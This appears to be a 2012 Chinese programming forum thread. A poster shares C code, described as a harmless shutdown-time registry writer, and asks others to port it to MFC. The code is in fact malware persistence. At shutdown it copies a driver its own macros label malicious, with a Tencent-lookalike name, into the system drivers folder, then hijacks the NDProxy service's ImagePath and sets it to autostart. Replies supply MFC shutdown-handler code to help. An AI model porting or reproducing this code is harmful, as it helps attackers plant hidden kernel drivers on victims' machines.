求助 编译源码!! 急
以下源码是一个关于关机时写注册表的程序 请大牛们把他写成MFC程序然后发到本帖或本论坛谢谢···············!!
···············
#include <windows.h>
#include <stdio.h>
/*驱动路径*/
#define MAL_DRIVER_FILE_PATH "C:\\QQ\\GRD_Tercent.sys"
/*目标路径,将驱动复制到系统驱动文件夹下*/
#define SYS_DRIVER_FILE_PATH "C:\\Windows\\system32\\drivers\\GRD_Tercent.sys"
/*在注册表Services键下的一个子键*/
#define SUB_KEY_PATH"SYSTEM\\CurrentControlSet\\Services\\NDProxy"
/*NDProxy中ImagePath的值*/
#define IMAGE_PATH_VALUE "system32\\drivers\\GRD_Tercent.sys"
BOOL g_bExit = FALSE;
BOOL CtrlHandler(DWORD fdwCtrlType )
{
/*当系统关闭的时候会调用该函数,并传入fdwCtrlType说明调用的原因*/
if(fdwCtrlType == CTRL_CLOSE_EVENT||
fdwCtrlType == CTRL_LOGOFF_EVENT ||
fdwCtrlType == CTRL_SHUTDOWN_EVENT)
{
/*将驱动文件复制到系统目录下*/
BOOL bRet = CopyFile(MAL_DRIVER_FILE_PATH,SYS_DRIVER_FILE_PATH,FALSE);
if(FALSE == bRet)
{
g_bExit = TRUE;
return 1;
}
/*打开注册表键*/
HKEY hKey = NULL;
LONG lRet = ERROR_SUCCESS;
lRet = RegOpenKey(HKEY_LOCAL_MACHINE,SUB_KEY_PATH,&hKey);
if (ERROR_SUCCESS != lRet)
{
g_bExit = TRUE;
return 1;
}
DWORD dwData = 0;
/*将NDProxy下的ImagePath设置为驱动的路径*/
lRet = RegSetValueEx(hKey,"ImagePath",0,REG_SZ,IMAGE_PATH_VALUE,strlen(IMAGE_PATH_VALUE));
if (ERROR_SUCCESS != lRet)
{
RegCloseKey(hKey);
g_bExit = TRUE;
return 1;
}
DWORD dwStart = 1;
/*将NDProxy设置为1表示自启动*/
lRet = RegSetValueEx(hKey,"Start",0,REG_DWORD,(const BYTE*)&dwStar,sizeof(dwStart));
if (ERROR_SUCCESS != lRet)
{
RegCloseKey(hKey);
g_bExit = TRUE;
return 1;
}
RegCloseKey(hKey);
/*结束进程*/
ExitProcess(0);
}
return 1;
}
int main()
{
/*将该进程在系统关闭时的优先级设置为最低*/
if(!SetProcessShutdownParameters(0x00,FALSE))
{
printf("Error Code%d\r\n",GetLastError());
return 0;
}
/*为该进程注册一个控制台处理例程*/
if( SetConsoleCtrlHandler((PHANDLER_ROUTINE)CtrlHandler,
TRUE) != TRUE)
{
printf("Error Code%d\r\n",GetLastError());
return 0;
}
/*这里什么都不干,等待系统的关闭*/
do
{
Sleep(1000);
}
while(g_bExit != TRUE);
return 0;
}
本帖最后由 diddom 于 2012-6-4 10:00 编辑
观摩~
学习~学习~{:soso_e113:}
WM_ENDSESSION, WM_QUERYENDSESSION应该可以收到关机message
WM_CLOS, 关闭程式message
void CShutdownPCDlg::OnClose()
{
// TODO: Add your message handler code here and/or call default
CDialogEx::OnClose();
}
void CShutdownPCDlg::OnEndSession(BOOL bEnding)
{
CDialogEx::OnEndSession(bEnding);
// TODO: Add your message handler code here
}
BOOL CShutdownPCDlg::OnQueryEndSession()
{
if (!CDialogEx::OnQueryEndSession())
return FALSE;
// TODO:Add your specialized query end session code here
return TRUE;
}
CTRL_C_EVENT - 当用户按下了CTRL+C,或者由GenerateConsoleCtrlEvent API发出.
CTRL_BREAK_EVENT - 用户按下CTRL+BREAK, 或者由GenerateConsoleCtrlEvent API发出.
CTRL_CLOSE_EVENT - 当试图关闭控制台程序,系统发送关闭消息。
CTRL_LOGOFF_EVENT - 用户退出时,但是不能决定是哪个用户.
CTRL_SHUTDOWN_EVENT - 当系统被关闭时.
SetProcessShutdownParameters(0x00,FALSE))应该可以加在
BOOL CShutdownPCDlg::OnInitDialog() 里面
{
...
....
// Set the icon for this dialog.The framework does this automatically
//when the application's main window is not a dialog
SetIcon(m_hIcon, TRUE); // Set big icon
SetIcon(m_hIcon, FALSE); // Set small icon
if(!::SetProcessShutdownParameters(0x00,FALSE))
{
printf("Error Code%d\r\n",GetLastError());
return 0;
}
ShowWindow(SW_MINIMIZE);
// TODO: Add extra initialization here
return TRUE;// return TRUEunless you set the focus to a control
}
看来大家都在用这招呀!!!MFC编译后的2-3M,对于你要写的软件是不是太大了?还是自己注册窗口、截获关机消息吧,这样也就30k左右 本帖最后由 diddom 于 2012-6-5 07:32 编辑
说真的,也不知道 LZ 要的是 Dialog Base 的MFC还是SDI还是MDI还是 Console
万一给错了, 就不好意思了, 很想帮你的忙的呆呆{:soso_e113:}
页:
[1]